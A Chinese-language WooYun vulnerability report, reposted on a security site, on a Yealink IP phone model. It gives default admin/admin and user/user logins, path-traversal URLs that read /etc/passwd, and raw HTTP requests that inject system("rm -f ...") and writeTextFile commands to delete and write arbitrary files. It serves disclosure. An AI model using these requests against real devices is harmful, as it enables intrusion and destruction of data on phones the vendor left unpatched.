Yealink某型号网络电话机配置不当(登入后可任意文件读取/删除/写入)

admin 2017年4月20日11:28:58评论463 views字数 247阅读0分49秒阅读模式
摘要

2016-04-06: 积极联系厂商并且等待厂商认领中,细节不对外公开
2016-05-21: 厂商已经主动忽略漏洞,细节向公众公开

漏洞概要 关注数(1) 关注此漏洞

缺陷编号: WooYun-2016-193013

漏洞标题: Yealink某型号网络电话机配置不当(登入后可任意文件读取/删除/写入) Yealink某型号网络电话机配置不当(登入后可任意文件读取/删除/写入)

相关厂商: 厦门亿联网络技术股份有限公司

漏洞作者: 路人甲

提交时间: 2016-04-06 10:56

公开时间: 2016-05-21 11:00

漏洞类型: 默认配置不当

危害等级: 高

自评Rank: 15

漏洞状态: 未联系到厂商或者厂商积极忽略

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 默认密码 网络边界设计不当

0人收藏


漏洞详情

披露状态:

2016-04-06: 积极联系厂商并且等待厂商认领中,细节不对外公开
2016-05-21: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

yealink某型号网络电话机配置不当(任意文件读取/删除/写入)

其实就是命令执行。。

详细说明:

由于是网络电话机,外网找不到案例。所以就。。

Yealink某型号网络电话机配置不当(登入后可任意文件读取/删除/写入)

登录默认admin/admin

问客服也说是admin/admin

Yealink某型号网络电话机配置不当(登入后可任意文件读取/删除/写入)

Yealink某型号网络电话机配置不当(登入后可任意文件读取/删除/写入)

进去之后,发现存在另一默认账号

code 区域
user/user

俩个默认账号。。

#1 任意文件读取

刚进去最明显的url一处

code 区域
**.**.**.**/cgi-bin/cgiServer.exx?page=../../../../../../etc/passwd%00

Yealink某型号网络电话机配置不当(登入后可任意文件读取/删除/写入)

第二处

Yealink某型号网络电话机配置不当(登入后可任意文件读取/删除/写入)

话机配置>升级>抓包>开始>结束>导出

发现另一处

code 区域
**.**.**.**/cgi-bin/cgiServer.exx?download=/etc/passwd

Yealink某型号网络电话机配置不当(登入后可任意文件读取/删除/写入)

#2 任意文件删除

Yealink某型号网络电话机配置不当(登入后可任意文件读取/删除/写入)

联系人>本地联系人>选择文件>上传头像>删除>

然后抓包

code 区域
POST /cgi-bin/cgiServer.exx HTTP/1.1
Host: **.**.**.**
Content-Length: 219
Authorization: Basic YWRtaW46YWRtaW4=
Origin: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36
Content-Type: application/octet-stream
Accept: */*
Referer: **.**.**.**/cgi-bin/cgiServer.exx?page=Contacts.htm
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Connection: close

system("rm -f /data/userdata/contact-image/Penguins.jpg")writeTextFile("../data/contact_list.xml","<root_contact>/n</root_contact>/n")msgBroadcastPostMessage("0x10007","8","0")msgBroadcastPostMessage("0x10007","50","1")

-f 路径更改即可

测试是自己写入文件 自己删除。。

#3 任意文件写入

Yealink某型号网络电话机配置不当(登入后可任意文件读取/删除/写入)

更改密码是通过写入config/data/htpasswd这个文件来实现。。

code 区域
POST /cgi-bin/cgiServer.exx HTTP/1.1
Host: **.**.**.**
Content-Length: 50
Authorization: Basic YWRtaW46YWRtaW4=
Origin: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36
Content-Type: application/octet-stream
Accept: */*
Referer: **.**.**.**/cgi-bin/cgiServer.exx?page=Security.htm
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Connection: close

writeTextFile("/data/userdata/1.txt","**.**.**.**")

Yealink某型号网络电话机配置不当(登入后可任意文件读取/删除/写入)

漏洞证明:

同上

修复方案:

不懂

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:15 (WooYun评价)


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin